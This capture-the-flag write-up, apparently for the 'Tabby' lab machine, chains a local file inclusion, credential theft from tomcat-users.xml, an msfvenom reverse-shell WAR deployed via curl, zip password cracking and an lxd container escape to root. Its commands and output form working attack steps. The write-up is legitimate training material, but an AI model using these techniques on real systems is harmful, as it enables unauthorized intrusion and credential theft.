Summary
- We use wfuzz with prefilter option and custom wordlist to find the location of tomcat-users.xml
- We take advantage of Local File Inclusion to read the tomcat-users.xml file
- Because of manager-script role of tomcat user, we had to use curl to upload a malicious war file
- We use fcrackzip to brute force the password of a zip file
- Finally, we take advantage of user being a member of lxd-group to get root shell
Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# nmap -sC -sV 10.10.10.194
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 15:07 EDT
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.25s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
Port 80
add megahosting.htb
to /etc/hosts
to access the news.php
page
LFI
The LFI in the file parameter of /news.php can be easily found
tomcat (port 8080)
The default creds for tomcat didn’t worked so we can try to see the contents of tomcat-users.xml file which contains the creds
According to the note on the first page on port 8080, the location of xml file is /etc/tomcat9/tomcat-users.xml
but this file does not exist
The default location is $CATALINA_HOME/conf/tomcat-users.xml
which doesn’t exist either
Locating tomcat-users.xml
custom wordlist
as the default path and the path mention on the homepage didn’t worked, I made a custom list of directories from the paths given on first page and the default path of tomcat-users.xml
1
2
3
4
5
6
/var/lib/tomcat9/webapps/ROOT/index.html
/usr/share/tomcat9
/var/lib/tomcat9
/usr/share/doc/tomcat9-common/RUNNING.txt.gz
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/conf/tomcat-users.xml
1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~$ cat wordlist
var
lib
tomcat9
webapps
ROOT
usr
share
doc
tomcat9-common
etc
conf
wfuzz with prefilter
I used prefilter to ignore the redundant cases of repeated directory
First we will check for directory depth of 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kali@kali:~$ wfuzz -c -w wordlist -w wordlist --prefilter "FUZZ!=FUZ2Z" -u http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/tomcat-users.xml --hl 0
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/tomcat-users.xml
Total requests: 121
===================================================================
ID Response Lines Word Chars Payload
===================================================================
Total time: 3.162404
Processed Requests: 121
Filtered Requests: 121
Requests/sec.: 38.26202
It didn’t gave any result so we will check for directory depth of 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kali@kali:~$ wfuzz -c -w wordlist -w wordlist -w wordlist --prefilter "FUZZ!=FUZ2Z and FUZZ!=FUZ3Z and FUZ2Z!=FUZ3Z" -u http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/FUZ3Z/tomcat-users.xml --hl 0
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/FUZ3Z/tomcat-users.xml
Total requests: 1331
===================================================================
ID Response Lines Word Chars Payload
===================================================================
Total time: 25.81252
Processed Requests: 1331
Filtered Requests: 1331
Requests/sec.: 51.56411
We can check for depth 4 too in reasonable amount of time because of the prefilter which is used for unique directory names for all the fuzzing parameters
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kali@kali:~$ wfuzz -c -w wordlist -w wordlist -w wordlist -w wordlist --prefilter "FUZZ!=FUZ2Z and FUZZ!=FUZ3Z and FUZZ!=FUZ4Z and FUZ2Z!=FUZ3Z and FUZ2Z!=FUZ4Z and FUZ3Z!=FUZ4Z" -u http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/FUZ3Z/FUZ4Z/tomcat-users.xml --hl 0
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.194/news.php?file=../../../../FUZZ/FUZ2Z/FUZ3Z/FUZ4Z/tomcat-users.xml
Total requests: 14641
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000007413: 200 47 L 289 W 2325 Ch "usr - share - tomcat9 - etc"
Total time: 226.3881
Processed Requests: 14641
Filtered Requests: 14640
Requests/sec.: 64.67210
We found the path to tomcat-users.xml –> /usr/share/tomcat9/etc/tomcat-users.xml
tomcat-users.xml roles
view-source:http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
tomcat:$3cureP4s5w0rd123!
tomcat user has only admin-gui and manager-script roles which means we cannot upload any file using GUI because that requires manager-gui
but as tomcat has manager-script role we can still upload files using CLI
Reverse Shell
msfvenom war file
1
2
3
root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.38 LPORT=4444 -f war > shell.war
Payload size: 1086 bytes
Final size of war file: 1086 bytes
curl to upload file
we can use curl to upload the malicious war file
https://stackoverflow.com/questions/4432684/tomcat-manager-remote-deploy-script
1
2
root@kali:~# curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war http://10.10.10.194:8080/manager/text/deploy?path=/shell
OK - Deployed application at context path [/shell]
netcat listener
start a netcat listener and visit http://10.10.10.194:8080/shell/
to get a reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.38] from megahosting.htb [10.10.10.194] 40326
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
which python3
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@tabby:/var/lib/tomcat9$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Jun 16 13:32 .
drwxr-xr-x 20 root root 4096 May 19 10:28 ..
drwxr-x--- 3 ash ash 4096 Jun 16 13:59 ash
User PrivEsc
Backup Zip File
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tomcat@tabby:/var/lib/tomcat9$ cd /var/www/html
tomcat@tabby:/var/www/html$ ls -al
total 48
drwxr-xr-x 4 root root 4096 Jun 17 16:24 .
drwxr-xr-x 3 root root 4096 May 21 10:31 ..
drwxr-xr-x 6 root root 4096 Mar 31 2016 assets
-rw-r--r-- 1 root root 766 Jan 13 2016 favicon.ico
drwxr-xr-x 4 ash ash 4096 Jun 17 21:59 files
-rw-r--r-- 1 root root 14175 Jun 17 16:24 index.php
-rw-r--r-- 1 root root 2894 May 21 11:42 logo.png
-rw-r--r-- 1 root root 123 Jun 16 11:19 news.php
-rw-r--r-- 1 root root 1574 Mar 10 2016 Readme.txt
tomcat@tabby:/var/www/html$ ls -al files
total 36
drwxr-xr-x 4 ash ash 4096 Jun 17 21:59 .
drwxr-xr-x 4 root root 4096 Jun 17 16:24 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Jun 16 20:13 archive
drwxr-xr-x 2 root root 4096 Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 11:25 statement
after enumerating files in the web root directory, I found a backup zip file
trying to unzip the file asked for a password, to brute force the password we need to transfer the file to our machine
use python3 -m http.server
to start a http server on the box and use wget to download it on Kali
fcrackzip
1
2
3
4
5
6
7
8
9
10
11
root@kali:~# fcrackzip -vuDp /usr/share/wordlists/rockyou.txt 16162020_backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc 338/ 766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc 3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc 2906/ 2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc 114/ 123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc 805/ 1574, flags 9, chk 6a8b)
checking pw arizon09
PASSWORD FOUND!!!!: pw == admin@it
I unzipped it using admin@it
as password but there was nothing interesting in the files
so I tried to switch user to ash
using this password and it worked
Switch User
1
2
3
4
5
6
7
tomcat@tabby:/var/www/html$ su - ash
Password: admin@it
ash@tabby:~$ ls
user.txt
ash@tabby:~$ cat user.txt
833abb92b119f6c032948f466f366dea
PrivEsc
lxd group
1
2
3
4
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
ash@tabby:~$ groups
ash adm cdrom dip plugdev lxd
ash is a part of lxd
group, lxd (Linux Daemon
) is a lightweight container hypervisor for linux
so lxd is similar to docker
but just for linux, I searched for lxd privesc
and found this great article
I followed this article exactly and got root shell
lxd-alpine-builder
clone https://github.com/saghul/lxd-alpine-builder
on our machine and build the LXD Alpine Linux image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://dl-cdn.alpinelinux.org/alpine/v3.12/main
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r10)
Executing openrc-0.42.1-r10.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
kali@kali:~/lxd-alpine-builder$ ls -al
total 3176
drwxr-xr-x 3 kali kali 4096 Jul 3 15:29 .
drwxr-xr-x 4 kali kali 4096 Jul 3 15:27 ..
-rw-r--r-- 1 root root 3198964 Jul 3 15:29 alpine-v3.12-x86_64-20200703_1529.tar.gz
-rwxr-xr-x 1 kali kali 7498 Jul 3 15:27 build-alpine
drwxr-xr-x 8 kali kali 4096 Jul 3 15:27 .git
-rw-r--r-- 1 kali kali 26530 Jul 3 15:27 LICENSE
-rw-r--r-- 1 kali kali 768 Jul 3 15:27 README.md
transfer the tar.gz
file to the machine using wget
1
2
3
4
5
6
7
8
9
10
11
ash@tabby:~$ wget 10.10.14.38:8000/alpine-v3.12-x86_64-20200703_1529.tar.gz
wget 10.10.14.38:8000/alpine-v3.12-x86_64-20200703_1529.tar.gz
--2020-07-03 20:56:33-- http://10.10.14.38:8000/alpine-v3.12-x86_64-20200703_1529.tar.gz
Connecting to 10.10.14.38:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3198964 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200703_1529.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.05M 342KB/s in 11s
2020-07-03 20:56:44 (286 KB/s) - ‘alpine-v3.12-x86_64-20200703_1529.tar.gz’ saved [3198964/3198964]
Initialize lxd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ash@tabby:~$ lxd init
lxd init
2020/07/03 20:58:18 usbid: failed to load: open /usr/share/misc/usb.ids: no such file or directory
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
lxc (Linux Container)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200703_1529.tar.gz --alias myimage
<e-v3.12-x86_64-20200703_1529.tar.gz --alias myimage
To start your first instance, try: lxc launch ubuntu:18.04
ash@tabby:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| myimage | 2b18709a1e70 | no | alpine v3.12 (20200703_15:29) | x86_64 | CONTAINER | 3.05MB | Jul 3, 2020 at 9:21pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
ash@tabby:~$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
~ # cd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ls
ls
root.txt snap
/mnt/root/root # cat root.txt
cat root.txt
498447df487b58cf0bb007d75068bafa
SSH private key
we got the root.txt, we will use the SSH private key to get root shell
1
2
3
4
5
6
7
8
/mnt/root/root # ls -al .ssh
ls -al .ssh
total 20
drwx------ 2 root root 4096 Jun 16 14:00 .
drwx------ 6 root root 4096 Jun 16 13:59 ..
-rw------- 1 root root 564 Jun 16 14:10 authorized_keys
-rw------- 1 root root 2602 Jun 16 14:00 id_rsa
-rw-r--r-- 1 root root 564 Jun 16 14:00 id_rsa.pub
Root Shell
use id_rsa to get root shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kali@kali:~$ ssh -i id_rsa root@10.10.10.194
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 03 Jul 2020 09:35:48 PM UTC
System load: 0.07
Usage of /: 34.4% of 15.68GB
Memory usage: 25%
Swap usage: 0%
Processes: 223
Users logged in: 0
IPv4 address for ens192: 10.10.10.194
IPv4 address for lxdbr0: 10.193.241.1
IPv6 address for lxdbr0: fd42:a235:cb7c:f8f0::1
* MicroK8s gets a native Windows installer and command-line integration.
https://ubuntu.com/blog/microk8s-installers-windows-and-macos
0 updates can be installed immediately.
0 of these updates are security updates.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jun 17 21:58:30 2020 from 10.10.14.2
root@tabby:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tabby:~# cat root.txt
498447df487b58cf0bb007d75068bafa